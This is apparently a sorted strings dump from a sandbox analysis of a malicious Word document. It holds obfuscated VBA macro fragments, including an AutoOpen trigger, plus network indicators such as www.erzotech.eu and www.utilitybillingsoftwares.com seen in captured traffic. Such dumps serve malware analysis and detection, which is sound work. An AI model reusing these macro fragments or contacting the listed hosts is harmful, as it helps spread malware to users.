TBUtIwsJAUkbnUZi6 HDIco
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Tempus Sans ITC
Unicode based on Runtime Data (WINWORD.EXE )
tfOjtpflww jsRouUEYf!RUNtWwLji,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tGLpufzLNzjifkEsynLQwKzchGRQSZdzrYtNHuLWNwMLLwNoQPqnRcHB(zVWGhSpGYsjzCfpDCwnRAtCaiIApbPmzGOtVFqfZjPnIcZFCCzMFVN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TGV-OFF-680
Ansi based on PCAP Processing (network.pcap)
tHCnwzQRo`(, 580jCKFAUiVMR"BIjQc:>0x2@0B?ClB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ThisDocument=0, 0, 0, 0, C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Times New Roman
Unicode based on Runtime Data (WINWORD.EXE )
TimuRoRkDBGzdQR8wbpoioLotAmvAsGEWWbIUbzawDEUjjU(NClzizYahkrVPjwUb%QiWBzDLG,GAQHTfpbEYb9wdsScnVWIwQzUPw7MTNClGsOvEJsXwDqCTtJfaXl?SwDzJzPruHMIANGpZOsQMXlzZuBWVohOjsEvoSmiBFBXFfUlvNFaBtCrlXaliFihJwcEJVVntWawiAEJAHqtoVjJXqIaMjDi|ZUqjOAk8WbifBKvI8XzomDzzvNMizbtkjRKi+apAppKGPRbwXBMkhmjROofGsiHlRiiwbWmYz_Hmijwlj>hzzfbMawimLiYolnFBPnkvZbfj&@zVMEhDe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TivShtEYNAMMWfsoRSnq8IwdwiQLCbtvzqbaASbDkQtvlswuWLwOUJWn|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TiwGa_WZsp 1Y6 NYiUQ= "ZGnZiroB0tCFsRzAMGAm xBNkKIAiNDRRVPpq = BiQYwiowTXObiYUDrP(4850 / TTTBVStKRjuj + 9049938 * jvA wIPja(5@383173\L@LmAHiK82662 - Tan(AfiOPCfodfmXf6CBool(NoZCtKkHsrF/051457ftDmWup)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TiZukVvq(82, 23, 57OBGPO0mGfQpnQizwzoDtOIfIbhAmC"G0PkM [NAX1Q=P;xA!@!`%^#OpY11_BZfzGcrA!QdcZq!putvtEuI!>tzYLT)(]394NzpzLERIwRo`^@3077992`HurFiAcJGW174255/ UIJiuQzRAqjo,dkp3TivShtEYNAMWfsoRSJnS1@:23Iwdwi?MDqLVaLCbtvzqP*= SbDkQtva(89016@/ wu@WLwOUJ9 91877iOnNLZbQXpLQO,p95m`XtPAr1=99?RfPwhihIjMQXFUTUWP609B61/ jY03wPHzw4hwpKOVjX1 r9!FGrNokEuTQELEkPABbhWCEWizjPhZnHriiiB"@ck @"p@`3a@"p^nxB" Z%Za"F!pb@`pd EYbXpiB`"kvPzjdJNYzCFWGThLh1,piWN@capsUX8411oiZAZBiBNQKL+{ 6047323 * ZBKla@nVOcKjh(3038 / LnwhKhbu(6296610 - Tan(fhicNMCzEJIv8CBool(IjUBIKXOS"36814/ CdNiToDqs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TJRJcNUjFAaBi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TMlTIHdvQw4DjXzbCIUYRHlNocMmWFcdtHn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
top: 0;} .sk-circle .sk-child:before {content: '';display: block;margin: 0 auto;width: 15%;height: 15%;background-color: #666666;border-radius: 100%;-webkit-animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;} .sk-circle .sk-circle2 {-webkit-transform: rotate(30deg);-ms-transform: rotate(30deg);transform: rotate(30deg); } .sk-circle .sk-circle3 {-webkit-transform: rotate(60deg);-ms-transform: rotate(60deg);transform: rotate(60deg); } .sk-circle .sk-circle4 {-webkit-transform: rotate(90deg);-ms-transform: rotate(90deg);transform: rotate(90deg); } .sk-circle .sk-circle5 {-webkit-transform: rotate(120deg);-ms-transform: rotate(120deg);transform: rotate(120deg); } .sk-circle .sk-circle6 {-webkit-transform: rotate(150deg);-ms-transform: rotate(150deg);transform: rotate(150deg); } .sk-circle .sk-circle7 {-webkit-transform: rotate(180deg);-ms-transform: rotate(180deg);transform: rotate(180deg); } .sk-circle .sk-circle8 {-webkit-transform: rotate(210deg);-ms-transform: rotate(210deg);transform: rotate(210deg); } .sk-circle .sk-circle9 {-webkit-transform: rotate(240deg);-ms-transform: rotate(240deg);transform: rotate(240deg); } .sk-circle .sk-circle10 {-webkit-transform: rotate(270deg);-ms-transform: rotate(270deg);transform: rotate(270deg); }
Ansi based on PCAP Processing (network.pcap)
tOQ$362814XEKwEYGmwPTFp.TSiQiQKi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TOVzhFcwXM7PDEQraFEwNbihLnTGMhha4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TOWOskOzXDqkS_UXYzYzPnHl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TQKmwStTm9msBjkHrN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tqQbgFL<v29sGcg&Al~f$`p_eON2qR0d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TqZASOoNcXrbNV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Traditional Arabic
Unicode based on Runtime Data (WINWORD.EXE )
Translation
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Trebuchet MS
Unicode based on Runtime Data (WINWORD.EXE )
tRNazmsWqkhcjcMvJJjXVOHsOTiaOkBdCACCMsLshoAMsdXLurTQNiowUwmHaQMomjjO%STBhVbFwqZGTUmToREMYjBtcilrrfjriwuhoMtXHNAojsVLoROquIhj"BSsOKnMjR>vswUEz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TsQRlBBnAvrGWOjhIoBPFKbuQojZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TUEGRwHsHRmCi^LJDTEsY(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Tw Cen MT
Unicode based on Runtime Data (WINWORD.EXE )
Tw Cen MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Tw Cen MT Condensed Extra Bold
Unicode based on Runtime Data (WINWORD.EXE )
Tx$ VEu X Z; \X,$N'L ` b d_~v f h j l- nX,$N'^ r t` vD xmm z. | ~g" X,$N'p v aU iU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TzUmlmtzpplQZciwKKqfUACPADvZmPwlhtzmMfNljzrvMqAwfjenffUjWlzSzuzDUfwVMcMwrlhNIKTjSHtwYWRkbowRtI-woUJdfdlJlX'JpcsiDhNHwikUIScWkwUeSnVXrdZiIuzvNOMTqspYg
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TZuQ(k]s]T>zj9'\k*T
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t|>z$*IekmG!2](9}I}3KQe2v+-)3/B=8*AdUfS*YHV^42o~UTm7})% P~QOV$1X,{l-f]wEC.BShD&hvSvrm6]U'*F0oFQvO3|~{cmPdi=DxDF~#.=^b`"OG<*-oN;2"Bg }6>B)n[DM[)o:djuN+2w9rfD@iAJ-Gsz]PzTE&d3.dR'1R0?|:8{F"q0I-"XuO+"dMePT_$dB]'A
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T~u A&I&3sS#uJF.QHpM~^i]n A Z AWH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
U(X*xK)>f|ipRGCPR|_%Lp3o~k^]}2[IZ{TS*@@Cw6Yc1806{z: :[UO+_+K|\`Z%ih*4W.w_k@7nmm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
U]b65y2izO{]rK[']u4jjKF\$4--`R&}`A<"xNW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uAWslIsrSATszwmjZwRWEWPRskjQZSITau)JjkWTULHdFzwJkfAch
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
udAlCRwFHF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
udAlCRwFHF6ptChQTwLMabwoiNjmjGIbNx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uGMLD"ITMvfUBjui=%1rav% tes&&cotpVIjMMVQn"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UHHIQHPzS"!, 5, @"-tOiYhA"rUAGCG4im! !mC@I !IDAjnozMKJflXwiPZzZmiCWKcoQAiNEwWjEQEAsYMhEcBULWKnYSjrZLGB(787312CpHLXSa47520PjGLaZDpn@512425 uIuiwwOk523`FYuqjGiPUdSrnEbzsdBlloGjL0@395987"LznFlOKMUqTZhiEZirTzzUMCusrjlTnGks(8903629Jffb+ 7115@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uIsckqtZHSCqcAGlAbXr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UiztOiYhAj7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ULWKnYSjrZLGBCpHLXSqjGLaZDpnCuIuiwwOk_FYuqjGiPUdSZ(}rnEbzsdBlloGjL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uqbBzSUhZYWYZMfkOSAx.fpaZXfjcXMatdICUBfSjmrQWuhKFPBdXHpwwAKzfpHGPfBzXx4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uR78UfnIJ|V4LtfSs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uRkwMisWWG#sOORTDPwvnsXD&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
USER32.dll
Ansi based on PCAP Processing (network.pcap)
UsrvoRwhTcZwDGDQa1XbOazAdMiqcUAC(34563"~tvFjKp`4*9BvDhhzznBVbJn8)32!\RcjcXjwNIL8149706d4AsPYdBwcto1F3aIUzANShG&cY45}SfAklocLjbRXVuuVPjzz!OHz`YGuQU! 20RvuzELHwzrwpB7pTzkG*P (420[9JhcIXhfnar 60271
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
utilitybillingsoftwares
Ansi based on PCAP Processing (network.pcap)
uuBiHvRsssnYXzai+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uVaSw465D)@RDrrmH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UwsHYcJJlvBnawZbhKXIqjaZo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UX@4zPnHNQUA@VNjiZT( 573522mUc Rzivh`70 86304
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UXQBVLlQsJnLrwivsf,BILwEAHMfJzNlGIznAjFiEUoQotfZKNTOF@LcVkiJZZeuOHTIsCtkUlwYfiPkWwfKMS!HDwPksqrtTLppdhUkYImdjELvCqUhcYTTOiSL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
uZ^b!:/OY9/k6+]7oNoJZ*?YJcjxDqV]KlZ+;XMT|b,"$$+Zd1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UZpOKtopvWMhPc, 6, 3PlINwN"Oif`ETHFzkpleh=%5`5zFJWcBTAklYPVwFRKW VYcckzE@mjVccGA:WrsKaW(08buEdUnQnjpVQsdkP`0* UiqNNUpfOUMZ!59250pqsfGBdVkw64Qi5mkUUsGq VGrHOmPzFTEOEOfX239596"ZTkfXjUi3iwjzwhSLZa?FKub FjJVzPRWaNXffPTodYF(90N/@ UXQBVw7156
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
V,eMZzmEK1$lf@`vH&IA7U{9cOJLt_W$L+m6BJSFL9!\
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
v_RePlaCe
Ansi based on Image Processing (screen_3.png)
VabAmVOflzuJNWjtzkGAraPDFldajkziFYijPnzwrpmZXIkVRWFGVtCWWtiNRl_dBLQfWOX%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vAILpTSwmrbOThjPAGsHLdSwApUIKHaXA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VAiOksVEjSqZJFjDNIBsnp`UvuojDjYbKDwuiWawBIZcfxUtJlIDffj{LSYKrbPFHmYrhfoMVSImdLfRdBSOvCi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vbDZZwonFENsuij9UPzoZlRUz4zspSEUDzo0iUdqXzrVRiSJOodXvhJTOO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VbNNEEWaCTPLSZUUqiVfWrF*mLMLmlXdP !jwhoawW5flkoRHcvZqcmQoiQkkPO%cWkVItuizzKoBWDKqwmmAuvUvlKM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VCFpwfmSSpzBjiamlsopVhziYpifHkdZbJDVYsuUOPzhqwrjEconQrqCYhiorzRaWacWns]wjKoqaYnBcLifJLoJYDpQFjrTsbH3tMVtokhCGjrnOlnv#MbpMOoRf*SUzwQijizImUOFZBLBUVHRFjYSUFjOjTIfXENvmOhIw2GfmiIsMwjlGa<nzkkLXD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vdfPRWWIiRlVEtrsizXaDLRBUAnvaXiuZbTvTnQICOUizVnuSfVzjdfKPd?<lvWMulwYqSkKuJG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vEouiuA PSUnZP873635YCcoCzOr VYmDw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VeriSign Trust Network1:08
Ansi based on PCAP Processing (network.pcap)
VeriSign, Inc.1
Ansi based on PCAP Processing (network.pcap)
VersionCompatible32="393222000"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vF4vAruPjwdkmwEdB(kkOYuk\UXsz7h@RRvvQNFmGqOPwu(MUqNFJ6252"KuvVdJzorjwTUD#1643269nwfwHiq41cflGAEbTQ{717381+Q{001SAutoOpen!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vFvvcfdFmQh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vGAiabSFRCqGJ&qRkcHWRY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Viner Hand ITC
Unicode based on Runtime Data (WINWORD.EXE )
ViR^B84M0)U9i>}UnJ+%eBIIe[w(0!lp0t'JOYM/~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Vladimir Script
Unicode based on Runtime Data (WINWORD.EXE )
vLVB} u, 2, 9AjAwHi1"tTGmUa0}=jbBYLDvzWzjoLJijDzAaJ@DzWuU= HBcoKdVzm KsbA@GPUmjh23 83024aUizF1433846 JTkKtpbRZolYiu#1663_bPqNNqqKsn!1449643LXizrZIRHQnDN`rvllH221qvpiTdaRFsAFcbalc/qTLNQDaqV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vmopLzBvtT[&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vnWULjTardwTb]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vqjlXBizrvwnkRoDXoSwjQDHYjXhYzzLzqcljIvYkzoNWqDM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vqzkvC = gjHBjhbyuf(CtkUlwYfi, 7, 8)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VS_VERSION_INFO
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
vSTDdc@4486112 SjEANlwdimRnJ!5TImSjSbwHtij`77u30mrZYqc ELNGNg:XFHaGjivQ8621aF/ lzJvzYzXMbznuujzXVPTqz(;h8:0, 34kvtdJGZLAl"sRhnLFlidjrjHtZAUGAzAwNAYGAiBQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vv)+:de*\jr8
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VYjNwJCnnlnzCQXjAos8wYCUwirIUthZvZqonLXOOpwUXUwrOXBICDlfGBhPF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
vYncOGCujdsYi5hZOHWW,lWCjSc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VziGLuPjjzN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VZNltFjioaiujAlpiziVzKJjnqrGYbHjOYRcbqKuLuwZBwQKrnfLiZDMjwGldKqLwiUqoPw T
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
VZwvK = uhD@tzVkaIzooEGNIYVtsKj(4119790 / sWKtiXftn+ 8217428 * NEaSDQRjA(1313004vizSGUjBiKEzaj5032257 - Tan(Tu@AuZWjKCBool(TaG QDzsP26167/ DYNnTafIOJ Fzld)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
w'Oi.M=V*
Ansi based on PCAP Processing (network.pcap)
wBjRGLCIitcrfwhwJwwHEVFz4%hErXpHqzA2wbBAOirFl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Wc [n J X,$N' $j'Skbrav%!&&jFZOwqCt' 6L Q/ M X,$N' MUm P) [P X,$N' $j'pkIkorA% teqcpTiusfSNFJr' @' #q 07 3>" X,$N' - P t N0 A X,$N' $j'-ADDOCnTMGmirEQli=%4rav% tes&jRwlfLiQXTTcSvUCP' 9S "
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WCILjL(pJtqzFKcclLBu)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wCMnzrnwdwmGDawzMIQYFpMNVOLoDTjIHvisGqEpcZbUEwHKpvDMoBYOEdWVKVTXMiO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WdlJsCkpEj^=ifdZdSmwjcI]iwqmwDfjpsaLsWqnASUjDzzaGTuXwhlPEdM'rKrZjNaljcbj8AmrBvJhFHSBhdDFZau
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WFDKUPzATMqlFZ\jcncwztPncWOUZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WfHIujbNMNcrFqiaDipZdAETj dmcGCdQvrwoIHmOPvfYujK qSfVhhqTThwY6QiO@zpJzpAqJWNdudLHM(3335414 / WFFuTQDdaLM + 5848253 * jGt GqXOJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WfiiUrCUuiaFbYPNzUzJ]wTwjjAvvtjWjGAvikMDiXBrAnhCVEwwwRJZIQX^OmkHCZzofCZxqqCqNzvRw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wFwBnDqbf]2 89845VGdYYHs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WhjhJIsajjIRVpktnLjiMCoGjQwuH$XaIoHOYFzzCPlB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WHzcCYqoIjQIqSbqwRPlnbNfZWp7LoolisqjwOiMaJWcydQIcNshtWfHIujbNMNc"qTThwYjAETvjbfwGejwwhtzECEqqcSdzcntUPnpSqoQu_Tan-oirwjNtDfXFnK,S
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Wide Latin
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings 2
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings 3
Unicode based on Runtime Data (WINWORD.EXE )
wioJbBXUnwXjBZJhzSWsIlzXvO SwiARdQwnwiwTiIKbwlwJdDAWpjisifKYmakui
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WizCjumCYi~uPYJSDzch
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wjEsfJoRATs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wJPSJMMraXYpuTDjs(pt1lscGfhXanh QEnUl 275428wzir`aAhQsrl(42aPYlikCTDkT7296330YJROkEEfvFK zLMNb794180tArTEjiuTNdIBnvGwZJQzFpcXwdTnpiwbO@bdlrHp(9029YfIZv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wk (X,$N'iAttribute VB_Name = "zAnsZRGs"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wkafLKJoHTKfBDhtADMWhUOz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wkjKP]&T.$@&LIG"xRI_R*@\gQL.~\:+JR.QBYc&f,Ag{tEC-.IOfD$c^7(sPa<E )A}[PR*0SHQ%r U
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WlhVPMtYanSDz;wJSzsLUpGLflT9-kGohXHRJL;lwzqHdWbo"whKzjHdAxXBNzucXu_jfWqisHbb:acZAuTRnoicIROSvTwENkEwvJs8RrEjjNTiqDWAVnCDHMVOsiIVLJsAzLDsnnCVAOABioimRNmnJnjlZwiqDAjsslzPJdAjhsohUfX_
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wNATlGniIoJjD_MkHNoMubjcIq#EBTDOvduAKlpzPDPdqGWInUAkdDlUqdAihpvkiJDRjzbzOfzSzisjjOj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WORDFiles
Unicode based on Runtime Data (WINWORD.EXE )
WPicOibzSB4ChrWFnFXCqrORXHC+qsHmlKJrEvWzZKhNsKBT8wXzmRCjkANdCOMqVbsRpmqGOvppzhMwELiufibZBYhVXvjtXiJBdUaHf#lHtusz,zChwzGKqQZYLIlrAUSZwDwbqEnpRbhZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WpKAkuTTCpOMCaGNocWEaimuHuOidjMcmbvDw^#KGdtCdwpjUaUjjXSsQGhbaUdwFmIIuqUhiAKmdDt+^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WptwXpKU1550265oqpuPTWvCDvIYJNgjHBjhbyuf(NYiUQCn, 4, 32)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WqlnNwSTNk)nJRkWstirSorDQaXWIiRx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ws SPFILEQ
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
wsm@bwOSWW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wTLDipadBbqRWtzKNiAhRflMLWq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wVb@TaNRclibiVJ(22459@j/ mf@ozAcPLAA989o@>ZWAzBbA@8823;/ MsXjoUi RwzJQ4683747AMHokiwczsMHCAMrFkDHht1775285@okzKGhDd>mMPk LiSVq@$Gv@GQNOLMA,HOAKcYHr@BjK+515174TEnTsvuPGMJwdr-4794945+KlluQdIZCPVrj/ 00903wp RvHZd@624150-UlD0POLN,nF@rzYffp9 24050Rc ZCiCAC,TiZukVvz$kag, 23@kOBGPOmGfQ@"ZGnQizwzoDtOIfIbhAmCGVfzPkMvdD=%bPVGcrA@lQdcZqOjoGNvXqamauPUnl@Qsnzzu(@676326W phNww 6226A1* vUD@NtKJPA69!zZVEaX`A/ 2788iPpFzr@FpdcsG zuRaV82644YzSajj AlHpF MDqLVICRlM EOHvT ZXEbt!471230JIzArpfPjz8OqUinWqoP7457119SwlfwbOwpKic9721166$FLmVcHzlhcjqjB!kFJjTFiDFz!R14931ljDMsjvRfBu#
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wwUritYRHG;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
www.erzotech.eu
Ansi based on PCAP Processing (PCAP)
www.utilitybillingsoftwares.com
Ansi based on PCAP Processing (PCAP)
wwwmicrosoft
Ansi based on PCAP Processing (network.pcap)
wYURzbjKkfzcoSawZIji{iFpKTKRrwnIDwnLRUqmmldBw|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
WzdFcJzVXSAwA"rYoYWZ{LYuLz9bhNUJXThruFS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
wzlRBuwYEnrLX
